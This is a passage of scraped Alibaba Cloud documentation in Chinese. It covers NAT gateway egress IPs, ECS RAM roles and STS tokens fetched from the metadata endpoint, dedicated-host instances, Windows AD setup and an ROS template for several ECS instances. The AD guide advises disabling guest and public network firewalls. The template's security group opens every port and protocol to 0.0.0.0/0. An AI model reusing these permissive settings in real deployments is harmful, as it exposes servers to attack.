      设置了DNAT IP映射的ECS实例所在的VPC已经配置了SNAT功能。详细信息,请参见创建SNAT条目

      背景信息

      NAT网关提供SNAT功能,为VPC内无公网IP的ECS实例提供访问互联网的代理服务。如果VPC内某些ECS实例已经设置了DNAT IP映射(IP映射即所有端口映射),这些ECS实例会优先通过DNAT条目中的公网IP访问互联网,而VPC内的其他ECS实例通过NAT网关的SNAT功能代理访问互联网,造成VPC内ECS实例的公网出口IP不一致,不利于统一管理业务。

      您可以通过为ECS实例绑定弹性网卡来解决ECS实例公网出口IP不统一的问题。

      如下图,您可以为ECS实例单独分配一块弹性网卡,然后移除NAT网关中的DNAT IP映射条目并创建新的DNAT条目,建立NAT网关上的公网IP与弹性网卡的映射关系,这样来自互联网的访问流量会经过弹性网卡到达ECS实例,当ECS实例需要访问互联网时会通过NAT网关进行转发。

      步骤一:创建弹性网卡

      完成以下操作,为ECS实例创建弹性网卡。

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏,单击网络与安全 > 弹性网卡
      3. 选择弹性网卡的地域。

        说明 弹性网卡的地域必须与ECS实例的地域相同。

      4. 网卡列表页面,单击创建弹性网卡
      5. 创建弹性网卡页面,根据以下信息配置弹性网卡,然后单击确定
        • 网卡名称:输入弹性网卡的名称。
        • 专有网络:选择ECS实例所在的专有网络。
        • 交换机:选择ECS实例所在可用区的交换机。
        • 主私网IP(可选):输入弹性网卡的主私网IPv4地址。此IPv4地址必须属于交换机的CIDR网段中的空闲地址。如果您没有指定,创建弹性网卡时将自动为您分配一个空闲的私网IPv4地址。
        • 安全组:选择当前专有网络的一个安全组。
        • 描述(可选):输入对弹性网卡的描述。

      步骤二:将弹性网卡绑定到ECS实例

      完成以下操作,将弹性网卡绑定到ECS实例。

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏中,选择网络与安全 > 弹性网卡
      3. 选择弹性网卡的地域。
      4. 网卡列表页面,找到目标弹性网卡,单击操作列下的绑定实例
      5. 在弹出的对话框中,选择要绑定的ECS实例,然后单击确定

      步骤三:移除DNAT IP映射

      完成以下操作,移除NAT网关中的DNAT IP映射条目。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击NAT网关
      3. 选择NAT网关的地域。
      4. NAT网关页面,找到目标NAT网关实例,单击操作列下的设置DNAT
      5. DNAT表页面,找到目标DNAT条目,单击操作列下的移除
      6. 在弹出的对话框中,单击确定

      步骤四:创建DNAT条目

      完成以下操作,创建DNAT条目,建立NAT网关上的公网IP与弹性网卡的映射关系。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击NAT网关
      3. NAT网关页面,找到目标NAT网关实例,单击操作列下的设置DNAT
      4. DNAT表页面,单击创建DNAT条目
      5. 创建DNAT条目对话框,根据以下信息配置DNAT条目,然后单击确定
        • 公网IP地址:选择一个可用的公网IP。用于创建SNAT条目的公网IP不能再用来创建DNAT条目。
        • 私网IP地址:选择弹性网卡实例。
        • 端口设置:选择所有端口。
        • 条目名称:输入DNAT条目的名称。

      步骤五:测试网络连通性

      完成以下操作,测试互联网是否可以通过弹性网卡绑定的EIP访问ECS实例。本操作以本地Linux设备远程连接Linux实例为例。

      说明 远程连接Linux实例,Linux实例的安全组必须放行SSH(22)端口。详细信息,请参见添加安全组规则

      1. 登录本地Linux设备。
      2. 执行ssh root@公网IP命令,然后输入Linux实例的登录密码,查看是否可以远程连接到实例。

        若界面上出现Welcome to Alibaba Cloud Elastic Compute Service!时,表示您已经成功连接到实例。

      完成以下操作,测试ECS实例是否可以通过NAT网关的SNAT功能主动访问互联网。本操作以在linux实例上查看公网出口IP为例。

      1. 登录ECS实例。
      2. 执行curl https://myip.ipip.net查看公网出口IP。

        若公网出口IP与NAT网关SNAT条目中的IP一致,即ECS实例优先通过NAT网关的SNAT功能主动访问互联网。

      ]]> 在ECS部署应用的动态身份与授权管理_授权与身份管理最佳实践_集成开发最佳实践-阿里云 Fri, 02 May 2025 09:39:04 +0800 在ECS部署应用的动态身份与授权管理

      更新时间:2019-05-08 14:28:45

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      为了解决ECS实例保密性和运维的问题,通过RAM进行动态身份与授权管理,允许应用程序通过获取角色身份的动态令牌来访问云服务API,从而实现无AccessKey的应用身份与授权管理。

      使用场景

      用户购买了ECS实例,并且打算在ECS中部署企业的应用程序。这些应用程序需要使用AccessKey访问其他云服务API。有两种做法:

      • 将AccessKey直接嵌入在代码中。
      • 将AccessKey保存在应用程序的配置文件中。
      这样会带来两个问题:
      • 保密性问题:如果AccessKey以明文形式存在于ECS实例中,它都可能随快照、镜像及镜像创建出来的实例被泄露。
      • 难运维性问题:由于AccessKey存在于实例中,如果要更换AccessKey(比如周期性轮转或切换用户身份),那么需要对每个实例和镜像进行更新并重新部署,这会增加对实例和镜像管理的复杂性。

      您可以通过为ECS实例配置RAM角色解决上述问题。允许应用程序通过获取角色身份的动态令牌来访问云服务API,从而实现无AccessKey的应用身份与授权管理。

      为ECS实例配置RAM角色

      ECS结合身份管理与资源访问控制服务(Resource Access Management,RAM)提供的访问控制能力,允许给每一个ECS示例(即用户应用程序的运行环境)配置一个拥有合适权限的RAM角色身份,应用程序通过获取该角色身份的动态令牌来访问云服务API。具体流程如下图所示:

      操作流程如下:

      1. 云账号在RAM中创建一个ECS实例型RAM角色,并对角色授予合适的权限策略。

        说明 ECS实例型RAM角色:是RAM服务角色中的一种类型,表示该角色是由用户创建并授权给该用户的ECS实例所使用。

      2. 启动ECS实例时,配置创建好的RAM角色。
        • ECS服务根据所配置的RAM角色,调用AssumeRole去访问STS请求获取该角色的STS token。
        • STS服务会验证ECS服务身份及该角色的授权类型,验证通过后颁发STS token,否则拒绝请求。
        更多详细信息,请参见通过控制台使用实例RAM角色通过API使用实例RAM角色
      3. 获取到STS token后,ECS将通过Metadata服务将STS token提供给实例中的应用程序访问。

        例如:在Linux中执行如下命令,即可获取STS token及过期时间等元数据信息。

        $ curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<roleName>

        说明

        • STS token过期时间通常为1小时,STS token在有效期内都能正常访问云服务API,在过期之前ECS服务会自动刷新STS token。
        • 如果STS token权限不足,那么需要找管理员给实例RAM角色添加足够的权限。
        • 实例RAM角色的权限更新后,STS token权限立即生效,无需重新启动ECS实例。

      4. 使用STS token调用云服务API。

        说明 如果您的应用程序使用了Alibaba Cloud SDK,那么Alibaba Cloud SDK将会自动从ECS Metadata服务中获取实例RAM角色的STS token,开发者无需在SDK中配置任何AccessKey相关的信息。更多详细信息,请参见配置RamRole实现ECS实例的无AK访问

      管理员与操作员职责分离

      对于很多企业用户,授权者和ECS实例操作者通常都是职责分离,是不同的RAM用户。针对管理员与操作员职责分离原理如下:

      说明

      • 如果RAM用户不拥有管理员权限,仅有ECS权限。在创建ECS实例并配置RAM角色时,ECS服务会强制检查当前用户是否拥有指定RAM角色的ram:PassRole权限,否则无法成功创建ECS实例。
      • 只有被授权用户才能为ECS实例配置RAM角色,避免RAM角色权限被滥用。

      若想实现管理员与操作员职责分离,只需在为ECS实例配置RAM角色的基础上,根据Step 1.5使管理员给操作员增加一个 PassRole权限即可。管理员可以通过RAM按如下Policy示例创建一个自定义策略,然后将这个自定义策略授权给操作员。
      {
         "Statement": [
            {
            "Effect": "Allow",
            "Action": "ram:PassRole",
            //替换rolename为自己的RAM角色名称。
            "Resource": "acs:ram:*:*:role/<rolename>"
            }
         ],
         "Version": "1"
      }

      相关文档

      ]]> 为已绑定EIP的ECS实例统一公网出口IP_统一公网出口IP_最佳实践_NAT 网关-阿里云 Fri, 02 May 2025 09:39:04 +0800 为已绑定EIP的ECS实例统一公网出口IP

      更新时间:2020-03-13 14:05:24

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      统一ECS实例的公网出口IP,有利于您更高效的管理互联网业务。本文为您介绍如何为已绑定EIP的ECS实例统一公网出口IP。

      前提条件

      绑定了EIP的ECS实例所在的VPC已经配置了SNAT功能。详细信息,请参见创建SNAT条目

      背景信息

      NAT网关提供SNAT功能,为VPC内无公网IP的ECS实例提供访问互联网的代理服务。如果VPC内某些ECS实例已经绑定了EIP,这些ECS实例会优先通过绑定的EIP访问互联网,而VPC内的其他ECS实例通过NAT网关的SNAT功能代理访问互联网,造成VPC内ECS实例的公网出口IP不一致,不利于统一管理业务。

      您可以通过为ECS实例绑定弹性网卡来解决ECS实例公网出口IP不统一的问题。

      如下图,您可以为ECS实例单独分配一块弹性网卡,并将EIP绑定到弹性网卡,这样来自互联网的访问流量会经过弹性网卡到达ECS实例,当ECS实例需要访问互联网时会通过NAT网关进行转发。

      步骤一:创建弹性网卡

      完成以下操作,为ECS实例创建弹性网卡。

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏,单击网络与安全 > 弹性网卡
      3. 选择弹性网卡的地域。

        说明 弹性网卡的地域必须与ECS实例的地域相同。

      4. 网卡列表页面,单击创建弹性网卡
      5. 创建弹性网卡页面,根据以下信息配置弹性网卡,然后单击确定
        • 网卡名称:输入弹性网卡的名称。
        • 专有网络:选择ECS实例所在的专有网络。
        • 交换机:选择ECS实例所在可用区的交换机。
        • 主私网IP(可选):输入弹性网卡的主私网IPv4地址。此IPv4地址必须属于交换机的CIDR网段中的空闲地址。如果您没有指定,创建弹性网卡时将自动为您分配一个空闲的私网IPv4地址。
        • 安全组:选择当前专有网络的一个安全组。
        • 描述(可选):输入对弹性网卡的描述。

      步骤二:将弹性网卡绑定到ECS实例

      完成以下操作,将弹性网卡绑定到ECS实例。

      1. 登录云服务器ECS管理控制台
      2. 在左侧导航栏中,选择网络与安全 > 弹性网卡
      3. 选择弹性网卡的地域。
      4. 网卡列表页面,找到目标弹性网卡,单击操作列下的绑定实例
      5. 在弹出的对话框中,选择要绑定的ECS实例,然后单击确定

      步骤三:将EIP与ECS实例解绑

      完成以下操作,将EIP与ECS实例解绑。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击弹性公网IP
      3. 选择弹性公网IP的地域。
      4. 弹性公网IP页面,找到目标弹性公网IP,单击操作列下的解绑
      5. 在弹出的对话框中,单击确定

      步骤四:将EIP绑定到弹性网卡

      完成以下操作,将EIP绑定到弹性网卡。

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击弹性公网IP
      3. 选择弹性公网IP的地域。
      4. 弹性公网IP页面,找到目标弹性公网IP,单击操作列下的绑定
      5. 绑定弹性公网IP页面,根据以下信息绑定EIP至弹性网卡,然后单击确定
        • IP地址:显示弹性公网IP地址。
        • 实例类型:选择辅助弹性网卡。
        • 资源组(可选):选择该弹性公网IP所属的资源组。
        • 绑定模式(可选):选择弹性公网IP绑定模式。
        • 辅助弹性网卡:选择要绑定的辅助弹性网卡。

      步骤五:测试网络连通性

      完成以下操作,测试互联网是否可以通过弹性网卡绑定的EIP访问ECS实例。本操作以本地Linux设备远程连接Linux实例为例。

      说明 远程连接Linux实例,Linux实例的安全组必须放行SSH(22)端口。详细信息,请参见添加安全组规则

      1. 登录本地Linux设备。
      2. 执行ssh root@公网IP命令,然后输入Linux实例的登录密码,查看是否可以远程连接到实例。

        若界面上出现Welcome to Alibaba Cloud Elastic Compute Service!时,表示您已经成功连接到实例。

      完成以下操作,测试ECS实例是否可以通过NAT网关的SNAT功能主动访问互联网。本操作以在linux实例上查看公网出口IP为例。

      1. 登录ECS实例。
      2. 执行curl https://myip.ipip.net查看公网出口IP。

        若公网出口IP与NAT网关SNAT条目中的IP一致,即ECS实例优先通过NAT网关的SNAT功能主动访问互联网。

      ]]> 云服务器(ECS)服务等级协议(SLA)_相关协议_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 云服务器(ECS)服务等级协议(SLA)

      更新时间:2019-09-24 20:11:33

      本页目录

      • 截止2019年11月30日,云服务器(ECS)服务等级协议(SLA),请参见这里

      • 2019年12月01日起,新版云服务器(ECS)服务等级协议(SLA)生效,请参见这里

      ]]> 在DDH上创建ECS实例_快速入门_专有宿主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 在DDH上创建ECS实例

      更新时间:2020-05-09 11:37:12

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      当您拥有一台或多台DDH时,您可以在DDH上创建对应规格的ECS实例。

      前提条件

      在指定的DDH上创建ECS实例前,您必须先完成以下工作。

      • 创建DDH。详细步骤,请参见创建DDH
      • 完成实名认证
      • 如果要创建按量付费ECS实例,账户余额不能少于100元人民币。充值详情,请参见如何充值付款
      • 在DDH所在地域里,搭建IPv4专有网络,详情请参见搭建IPv4专有网络
      • 如果不使用系统自动创建的默认安全组,必须在目标地域创建一个安全组并添加满足您业务需求的安全组规则。具体步骤,请参见创建安全组添加安全组规则
      • 创建Linux实例时如果要绑定SSH密钥对,必须在目标地域创建一个SSH密钥对,详情请参见创建SSH密钥对
      • 如果要设置自定义数据,必须准备实例自定义数据,详情请参见生成实例自定义数据
      • 如果要让实例扮演某个角色,必须创建实例RAM角色并授权,详情请参见授予实例RAM角色

      背景信息

      在DDH上只能创建VPC类型ECS实例。DDH上的ECS实例与共享宿主机上ECS实例的功能差异,请参见ECS实例功能对比

      您可以观看以下视频了解如何在DDH上创建ECS实例,详细设置请参见本文的操作步骤一节。

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 专有宿主机 DDH
      3. 在顶部状态栏左上角处,选择地域。
      4. 找到待创建ECS实例的DDH,在操作区域,单击创建实例
      5. 完成基础配置
        1. 选择专有宿主机

          默认是您选中的DDH。您可以更换专有宿主机。

        2. 设置关联宿主机

          • 选中关联宿主机复选框:已停机释放资源的实例再次启动时,依然会部署在当前DDH上。若当前DDH可用资源不足,则实例启动失败。
          • 清除关联宿主机复选框:已停机释放资源的实例再次启动时,若当前DDH可用资源不足,则系统自动选择您账号下其他满足自动部署条件的DDH部署实例。更多详情,请参见关联宿主机功能介绍

        3. 选择付费模式

          根据DDH的付费模式选择ECS实例的付费模式。您可以在包年包月DDH上创建包年包月或者按量付费的ECS实例。

          说明 如果要创建按周付费的ECS实例,必须选择包年包月,并将页面底部的购买周期设置为1周。ECS实例各付费模式的区别,请参见计费方式对比

        4. 设置实例规格和实例数量。

          ECS实例的地域及可用区与DDH相同,可供选择的实例规格由DDH的主机规格及剩余资源决定。宿主机规格详情,请参见宿主机规格

          • 如果宿主机仅支持预定义实例规格,在列表中选择实例规格。系统ECS实例规格
          • 如果宿主机支持自定义实例规格,单击自定义实例规格,并滑动指针调整vCPU和内存的大小。vCPU最小调整单位为1vCPU,1vCPU以上仅支持偶数,例如2vCPU、4vCPU。内存最小调整单位为1GiB。 自定义ECS实例规格

        5. 选择镜像。

          您可以选择公共镜像、自定义镜像、共享镜像或从镜像市场选择镜像。如何选择镜像,请参见选择镜像

          说明

          • 如果您要使用SSH密钥对,必须选择Linux系统。
          • 如果您要设置实例自定义数据,只能选择特定的镜像,详情请参见实例自定义数据支持的镜像

        6. 选择存储。

          • 系统盘(必选):用于安装操作系统。请指定系统盘的云盘类型和容量。
            • 云盘类型:当前地域可供选择的所有云盘类型。
            • 容量:系统盘默认容量为40GiB,最大为500GiB。如果选择的镜像文件大于40GiB,则默认为镜像文件大小。系统盘最低容量与镜像有关,实际情况以购买页显示为准。
              镜像 系统盘容量范围(GiB)
              Linux(不包括CoreOS和Red Hat) [max{20, 镜像文件大小}, 500]
              FreeBSD [max{30, 镜像文件大小}, 500]
              CoreOS [max{30, 镜像文件大小}, 500]
              Red Hat [max{40, 镜像文件大小}, 500]
              Windows [max{40, 镜像文件大小}, 500]
          • 数据盘:若添加数据盘,必须选择云盘类型、容量、数量,并选择是否加密。您可以创建空云盘,也可以使用快照创建云盘。最多可以添加16块云盘作数据盘。

            说明 此时创建的云盘有以下特点:

            • 付费模式与实例相同。
            • 包年包月数据盘只能随实例一起释放,按量付费的数据盘可以设置为随实例一起释放。

          • 如果您选择的是带本地盘的实例规格族(例如i2),这里会显示实例规格对应的本地盘信息,不可配置。本地盘实例规格对应的本地盘信息,请参见实例规格族

        7. 单击下一步:网络和安全组
      6. 完成网络和安全组设置。
        1. 选择网络

          只能选择专有网络,并选择一个专有网络和交换机。如果您没有创建专有网络和交换机,可以使用默认专有网络和默认交换机。

        2. 设置公网带宽

          • 如果要为实例分配一个公网IP地址,必须选中分配公网IPv4地址,再选择按使用流量按固定带宽 进行公网带宽计费,并指定带宽。通过这种方式分配的公网IP地址不能与实例解绑。关于如何选择公网带宽付费模式,请参见公网带宽计费方式
          • 如果您的实例不需要访问公网或者要使用弹性公网IP(EIP)地址访问公网,不能选择分配公网IPv4地址

        3. 选择安全组

          所选安全组中的规则必须满足您的业务需求。

          说明 如果您自己没有创建安全组,可以使用默认安全组。默认安全组的规则,请参见默认安全组规则

        4. 添加弹性网卡

          如果所选实例规格支持弹性网卡,您可以添加弹性网卡,并为网卡选择交换机。

          说明 这里添加的弹性网卡默认会随实例一起释放,您可以在ECS控制台或者使用DetachNetworkInterface接口分离实例和网卡。

        5. 单击下一步:系统配置
      7. 可选:完成系统配置
        1. 选择并设置登录凭证

          您可以直接设置,也可以选择创建后设置。根据镜像的操作系统,选择登录凭证。

          • Linux系统:可以选择使用密钥对或密码作为登录凭证。
          • Windows系统:只能使用密码作为登录凭证。

        2. 设置实例名称主机名
        3. 设置高级选项

          • 实例RAM角色:为实例授予一个RAM角色。
          • 实例自定义数据:自定义实例的启动行为或者向实例传入数据。

        4. 单击下一步:分组设置
      8. 可选:完成分组设置

        • 如果您有多台实例,为了方便管理,建议您为实例添加标签。
        • 如果您是企业用户,已经开通了资源管理服务,而且已经创建了资源组,您可以按资源组管理实例。

      9. 确认订单并创建实例。
        1. 所选配置区域,确认配置信息。

          您可以单击图标重新编辑配置。

        2. 根据ECS实例付费模式设置释放或者续费。

          • 如果ECS实例付费模式为包年包月,可以设置购买时长,并选择是否开启自动续费

            说明 包年包月ECS实例的购买时长终点不能晚于包年包月DDH计费时长的终点。

          • 如果ECS实例付费模式为按量付费,可以设置自动释放服务时间

        3. 确认配置费用。这时显示的费用包括系统盘、数据盘(如果有)和公网带宽的费用。
        4. 阅读并确认云服务器ECS服务条款
        5. 根据ECS实例付费模式确认创建实例。

          • 如果ECS实例付费模式为包年包月,单击确认下单
          • 如果ECS实例付费模式为按量付费,单击创建实例

      执行结果

      实例创建后,单击管理控制台回到ECS管理控制台查看新建的ECS实例。在相应地域的实例列表中,您能查看新建实例的实例ID、公网IP地址、私有IP地址等信息。如果您已经设置了实例列表的自定义列表项,您还可以看到ECS实例的宿主机信息。

      说明 设置自定义列表项的步骤,请参见在不同DDH之间迁移ECS实例

      后续步骤

      ]]> ECS实例搭建Windows系统AD域_实例配置_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例搭建Windows系统AD域

      更新时间:2020-04-15 14:26:38

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      活动目录AD(Active Directory)是微软服务的核心组件。AD能实现高效管理,例如批量管理用户、部署应用和更新补丁等。许多微软组件(例如Exchange)和故障转移群集也需要AD域环境。本文以Windows Server 2012 R2 Datacenter操作系统为例,介绍如何搭建AD域。

      前提条件

      • 已注册阿里云账号。如还未注册,请先完成账号注册
      • 安装者必须拥有管理员权限。
      • 安装分区必须为NTFS分区。
      • 实例必须支持DNS服务。
      • 实例必须支持TCP/IP协议,并且需要有固定私网IP地址。

        说明 建议使用固定IP地址,防止重启实例后IP地址发生变化。本文采用是阿里云VPC网络,手动修改IP地址会导致IP失效。

      背景信息

      • 名词解释:
        • DC:Domain Controllers,域控制器
        • DN:Distinguished Name,识别名
        • OU:Organizational Unit,组织单位
        • CN:Canonical Name,正式名称
        • SID:Security Identifier,安全标识符
      • 关于域控:
        • 如果您使用自定义镜像创建ECS实例部署域控制器,必须提前修改SID,请参见步骤二:修改客户端的SID

          说明 由于官方镜像已经修改了SID,无需此操作。

        • 阿里云不支持也不推荐您使用已有的域控制器创建自定义镜像来部署新的域控。如果确实需要,新建实例的主机名(hostname)和创建自定义镜像之前实例的主机名必须保持一致,否则可能会报以下错误。您也可以在创建实例后修改成相同的主机名,解决此问题。
          服务器上的安全数据库没有此工作站信任关系
      • 关于客户端:阿里云不支持也不推荐您使用已加入域的客户端实例来创建自定义镜像,否则新镜像创建的实例会报以下错误。如果确实需要,建议您在创建新的自定义镜像前先退域。
        服务器上的安全数据库没有此工作站信任关系
      • 实例组网信息:
        • 网络类型:专有网络VPC
        • 交换机私网网段:192.168.100.0/24
        • 是否启用网关:是VPC组网
      • 域名信息:
        • 域名:lyonz.com
        • DC:192.168.100.105
        • 需要加入域的客户机(Client)IP地址:192.168.100.106域名信息

      操作步骤

      通过Windows Server 2012实例搭建AD域的步骤如下:

      1. 步骤一:安装AD域控制器
      2. 步骤二:修改客户端的SID
      3. 步骤三:客户端加入AD域

      步骤一:安装AD域控制器

      1. 远程连接ECS实例。连接方式请参见连接方式概述
      2. 打开服务器管理器,在ECS实例中添加角色和功能。

        添加角色和功能

        1. 选择安装类型。

          选择安装类型

        2. 选择要安装角色和功能的服务器。

          选择要安装角色和功能的服务器

        3. 选择要安装在服务器上的角色。

          选择要安装在服务器上的角色

      3. 将此服务器提升为域服务器。

        将此服务器提升为域服务器

        1. 部署配置。

          部署配置

        2. 配置域服务器参数。

          配置域服务器参数

        3. 配置DNS选项。

          配置DNS选项

        4. 配置NetBIOS域名。

          配置NetBIOS域名

        5. 检查并确认您的选择。

          检查并确认您的选择

        6. 单击下一步
        7. 单击安装,开始安装AD域服务器。

          开始安装AD域服务器

          安装完成,如下图所示。安装完成,如下图所示

      步骤二:修改客户端的SID

      1. 下载修改客户端SID的PowerShell脚本。

      2. 打开CMD,输入powershell切换至Windows PowerShell界面。

        说明 如果您的实例系统是64位,则不能使用32位的PowerShell(即Windows PowerShell (x86)),否则会报错。

      3. 切换至脚本存储的路径,执行如下命令,查看脚本工具说明。

        .AutoSysprep.ps1 -help

      4. 执行如下命令,服务器会重新初始化SID。

        .AutoSysprep.ps1 -ReserveHostname -ReserveNetwork -SkipRearm -PostAction "reboot"

        初始化完成后,会重启实例,您需要注意以下事项。

        • 实例IP地址会从DHCP变成固定IP地址。您可以重新改成DHCP,请参见修改私网IP地址重新改成DHCP
        • 初始化SID后,云服务器防火墙的配置被修改成微软的默认配置,导致云服务器无法PING通。您需要关闭防火墙来宾或公用网络,或者放行需要开放的端口。下图表示防火墙来宾或公用网络的状态是已连接。来宾或公用网络

      5. 关闭来宾或公用网络防火墙。

        关闭来宾或公用网络防火墙

        关闭后,可以PING通服务器。PING通服务器示意图

      步骤三:客户端加入AD域

      您可以根据业务需求修改主机名和DNS指向DC的IP地址。

      1. 修改DNS服务器地址。

        修改DNS服务器地址

      2. 检查是否能PING通DNS服务器IP地址。

        PING通DNS服务器的地址

      3. 修改主机名并加入AD域。

        修改主机名并加入AD域

      ]]> 创建多台ECS实例_最佳实践_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建多台ECS实例

      更新时间:2019-12-24 17:31:47

      本页目录

      本文为您介绍如何通过资源编排服务(ROS)创建多台ECS实例。

      前提条件

      创建ECS实例前,首先需要创建虚拟专有网络(VPC)和交换机(VSwitch)并加入安全组(SecurityGroup)。本文为您介绍如何通过创建ROS模板生成上述资源,再通过ROS控制台创建资源栈,详情请参见创建资源栈

      创建多台ECS实例的注意事项,请参见ALIYUN::ECS::InstanceGroup

      创建多台ECS实例

      JSON格式

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Description": "创建多台ECS实例",
        "Metadata": {
          "ALIYUN::ROS::Interface": {
            "ParameterGroups": [
              {
                "Parameters": [
                  "ImageId",
                  "InstanceType",
                  "LoginPassword",
                  "ECSAmount",
                  "DiskSize",
                  "DiskCategory",
                  "SystemDiskSize",
                  "SystemDiskCategory"
                ],
                "Label": {
                  "default": "ECS"
                }
              }
            ],
            "TemplateTags": [
              "ECS"
            ]
          }
        },
        "Parameters": {
          "SystemDiskSize": {
            "Type": "Number",
            "Description": "系统盘大小,40-500,单位:GB",
            "Label": "系统盘",
            "Default": 40
          },
          "PublicIP": {
            "Type": "Boolean",
            "Description": "是否分配公网IP",
            "Label": "分配公网IP",
            "Default": true
          },
          "ECSAmount": {
            "Type": "Number",
            "Label": "ECS实例数量",
            "Description": "取值范围:1-100",
            "Default": 3,
            "MaxValue": 100,
            "MinValue": 1
          },
          "ImageId": {
            "Type": "String",
            "Description": "镜像ID,表示要启动一个ECS实例的镜像资源",
            "Label": "ECS镜像ID",
            "Default": "centos_7"
          },
          "DiskSize": {
            "Type": "String",
            "Description": "数据盘大小,单位:GB",
            "Label": "数据盘",
            "Default": "20"
          },
          "DiskCategory": {
            "Type": "String",
            "Description": "数据盘类型",
            "AllowedValues": [
              "cloud_efficiency",
              "cloud_ssd"
            ],
            "Label": "数据盘类型",
            "Default": "cloud_ssd"
          },
          "InstanceType": {
            "Type": "String",
            "Description": "ECS实例类型",
            "AllowedValues": [
              "ecs.g5.large",
              "ecs.c5.large",
              "ecs.g5.xlarge",
              "ecs.c5.xlarge"
            ],
            "Label": "ECS实例类型",
            "Default": "ecs.c5.large"
          },
          "SystemDiskCategory": {
            "Type": "String",
            "Description": "系统盘类型",
            "AllowedValues": [
              "cloud_efficiency",
              "cloud_ssd"
            ],
            "Label": "系统盘类型",
            "Default": "cloud_ssd"
          },
          "LoginPassword": {
            "NoEcho": true,
            "Type": "String",
            "Description": "ECS登录密码",
            "AllowedPattern": "[a-zA-Z0-9-\(\)\`\~\!@\#\$%\^&\*-+=\|\{\}\[\]\:\;\‘\,\.\?\/]*",
            "Label": "ECS登录密码",
            "MinLength": 8,
            "MaxLength": 30
          }
        },
        "Resources": {
          "VSwitch": {
            "Type": "ALIYUN::ECS::VSwitch",
            "Properties": {
              "VpcId": {
                "Ref": "VPC"
              },
              "ZoneId": {
                "Fn::Select": [
                  "1",
                  {
                    "Fn::GetAZs": {
                      "Ref": "ALIYUN::Region"
                    }
                  }
                ]
              },
              "CidrBlock": "192.168.0.0/24",
              "VSwitchName": "MyVsw"
            }
          },
          "SG": {
            "Type": "ALIYUN::ECS::SecurityGroup",
            "Properties": {
              "VpcId": {
                "Ref": "VPC"
              },
              "SecurityGroupName": "MySG",
              "SecurityGroupIngress": [
                {
                  "PortRange": "-1/-1",
                  "Priority": 1,
                  "SourceCidrIp": "0.0.0.0/0",
                  "IpProtocol": "all",
                  "NicType": "internet"
                }
              ],
              "SecurityGroupEgress": [
                {
                  "PortRange": "-1/-1",
                  "Priority": 1,
                  "IpProtocol": "all",
                  "DestCidrIp": "0.0.0.0/0",
                  "NicType": "intranet"
                }
              ]
            }
          },
          "ECS": {
            "Type": "ALIYUN::ECS::InstanceGroup",
            "Properties": {
              "IoOptimized": "optimized",
              "DiskMappings": [
                {
                  "Category": {
                    "Ref": "DiskCategory"
                  },
                  "Size": {
                    "Ref": "DiskSize"
                  }
                }
              ],
              "SystemDiskSize": {
                "Ref": "SystemDiskSize"
              },
              "SecurityGroupId": {
                "Ref": "SG"
              },
              "VSwitchId": {
                "Ref": "VSwitch"
              },
              "MaxAmount": {
                "Ref": "ECSAmount"
              },
              "SystemDiskCategory": {
                "Ref": "SystemDiskCategory"
              },
              "VpcId": {
                "Ref": "VPC"
              },
              "MinAmount": {
                "Ref": "ECSAmount"
              },
              "ImageId": {
                "Ref": "ImageId"
              },
              "AllocatePublicIP": {
                "Ref": "PublicIP"
              },
              "InstanceType": {
                "Ref": "InstanceType"
              },
              "Password": {
                "Ref": "LoginPassword"
              }
            }
          },
          "VPC": {
            "Type": "ALIYUN::ECS::VPC",
            "Properties": {
              "CidrBlock": "192.168.0.0/16",
              "VpcName": "MyVPC"
            }
          }
        },
        "Outputs": {
          "ECS实例ID": {
            "Value": {
              "Fn::GetAtt": [
                "ECS",
                "InstanceIds"
              ]
            }
          },
          "公网IP": {
            "Value": {
              "Fn::GetAtt": [
                "ECS",
                "PublicIps"
              ]
            }
          }
        }
      }

      YAML格式

      ROSTemplateFormatVersion: '2015-09-01'
      Description: 创建多台ECS实例
      Metadata:
        ALIYUN::ROS::Interface:
          ParameterGroups:
          - Parameters:
            - ImageId
            - InstanceType
            - LoginPassword
            - ECSAmount
            - DiskSize
            - DiskCategory
            - SystemDiskSize
            - SystemDiskCategory
            Label:
              default: ECS
          TemplateTags:
          - ECS
      Parameters:
        SystemDiskSize:
          Type: Number
          Description: 系统盘大小,40-500,单位:GB
          Label: 系统盘
          Default: 40
        PublicIP:
          Type: Boolean
          Description: 是否分配公网IP
          Label: 分配公网IP
          Default: true
        ECSAmount:
          Type: Number
          Label: ECS实例数量
          Description: 取值范围:1-100
          Default: 3
          MaxValue: 100
          MinValue: 1
        ImageId:
          Type: String
          Description: 镜像ID,表示要启动一个ECS实例的镜像资源
          Label: ECS镜像ID
          Default: centos_7
        DiskSize:
          Type: String
          Description: 数据盘大小,单位:GB
          Label: 数据盘
          Default: '20'
        DiskCategory:
          Type: String
          Description: 数据盘类型
          AllowedValues:
          - cloud_efficiency
          - cloud_ssd
          Label: 数据盘类型
          Default: cloud_ssd
        InstanceType:
          Type: String
          Description: ECS实例类型
          AllowedValues:
          - ecs.g5.large
          - ecs.c5.large
          - ecs.g5.xlarge
          - ecs.c5.xlarge
          Label: ECS实例类型
          Default: ecs.c5.large
        SystemDiskCategory:
          Type: String
          Description: 系统盘类型
          AllowedValues:
          - cloud_efficiency
          - cloud_ssd
          Label: 系统盘类型
          Default: cloud_ssd
        LoginPassword:
          NoEcho: true
          Type: String
          Description: ECS登录密码
          AllowedPattern: "[a-zA-Z0-9-\(\)\`\~\!@\#\$%\^&\*-+=\|\{\}\[\]\:\;\‘\,\.\?\/]*"
          Label: ECS登录密码
          MinLength: 8
          MaxLength: 30
      Resources:
